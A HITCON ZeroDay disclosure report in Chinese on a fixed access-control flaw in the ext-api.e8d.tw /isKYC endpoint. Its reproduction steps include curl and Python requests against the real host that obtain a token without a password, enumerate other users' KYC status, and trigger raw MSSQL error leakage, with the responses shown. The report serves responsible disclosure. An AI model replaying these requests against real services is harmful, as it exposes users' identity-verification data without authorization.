互動資通 ext-api.e8d.tw /isKYC 無所有權驗證 — 偽造 Token 任意查詢用戶 KYC 狀態 + MSSQL 錯誤訊息洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00641
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 ext-api.e8d.tw /isKYC 無所有權驗證 — 偽造 Token 任意查詢用戶 KYC 狀態 + MSSQL 錯誤訊息洩漏
  • Introduction: /isKYC 端點缺少所有權驗證,持偽造 Token 可查詢任意用戶 KYC 狀態,並洩漏 MSSQL 原始錯誤訊息。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/07 02:27:08 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/14 13:03:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:57:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:57:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:57:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:23:38 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:13:34 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:11:36 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:31:50 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00641
  • 通報者:guan4tou2 (罐頭)
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://ext-api.e8d.tw/login/cert
https://ext-api.e8d.tw/isKYC

敘述

漏洞概述

ext-api.e8d.tw/isKYC 端點在驗證 Token 後,未驗證 UserNo 是否對應到 Token 帳號本身(缺少所有權/授權檢查),導致任何持有有效 Token(含以認證繞過取得的偽造 Token)的請求者,可查詢任意用戶的 KYC 驗證狀態。

此外,傳入非整數的 UserNo 時,後端直接將原始 MSSQL 錯誤訊息(含驅動程式版本)回傳至 API Response。

重現步驟(Live Verified: 2026-05-07)

步驟 1:取得偽造 Token(/login/cert 認證繞過,毋須密碼)

curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"crmonly1","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}'

回應:

{"status":"200","token":"ZbR13180785607552778","enterprise":"1","message":"成功"}

步驟 2:以偽造 Token 查詢任意用戶 KYC 狀態(IDOR)

import urllib.request, json, urllib.parse

token = "ZbR13180785607552778"
for user_no in [1, 2, 10, 100, 1000]:
    body = json.dumps({
        "account": "crmonly1",
        "UserNo": str(user_no),
        "custid": "E8D30NGW_2WAY",
        "token": token,
        "enterprise": "1",
        "version": "production"
    })
    data = f"body={urllib.parse.quote(body)}".encode()
    req = urllib.request.Request(
        "https://ext-api.e8d.tw/isKYC",
        data=data,
        headers={"Content-Type": "application/x-www-form-urlencoded"}
    )
    with urllib.request.urlopen(req, timeout=10) as r:
        resp = json.loads(r.read().decode())
        print(f"UserNo={user_no}: {resp}")

回應:

UserNo=1:    {"status":"200","message":"成功","verifyWay":"KYC","isVerify":true}
UserNo=2:    {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}
UserNo=10:   {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}
UserNo=100:  {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}
UserNo=1000: {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}

→ 以 crmonly1 帳號 Token 成功查詢 UserNo=1/2/10/100/1000 等其他用戶的 KYC 狀態,無所有權驗證

步驟 3:MSSQL 錯誤訊息洩漏(非整數 UserNo)

curl -s -X POST "https://ext-api.e8d.tw/isKYC" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"crmonly1","UserNo":"NONEXISTENT","custid":"E8D30NGW_2WAY","token":"ZbR13180785607552778","enterprise":"1","version":"production"}'

回應(HTTP 200/500):

SQLSTATE[22018]: [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]將 nvarchar 值 'NONEXISTENT' 轉換成資料類型 int 時,轉換失敗。

攻擊影響

已驗證(Verified):

  • 以任意偽造 Token 查詢任意用戶 KYC 驗證狀態(verifyWay, isVerify)— IDOR
  • 非整數輸入時洩漏 MSSQL 原始錯誤訊息(Microsoft ODBC Driver 18 for SQL Server 版本)
  • 輸入未做型別驗證即傳入 SQL,洩漏欄位型別(userNO 為 int)

注意:/login/cert 認證繞過已於另一份通報提交(ZD-2026-00637),本報告聚焦在 /isKYC 的 IDOR 及 SQL 錯誤洩漏。

修補建議

1. /isKYC 端點應驗證 UserNo 必須對應到 Token 帳號本身(加入所有權授權檢查)
2. API Response 不應回傳原始 SQL 錯誤,應統一回傳泛化錯誤訊息
3. UserNo 輸入應在 API 層進行整數型別驗證

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;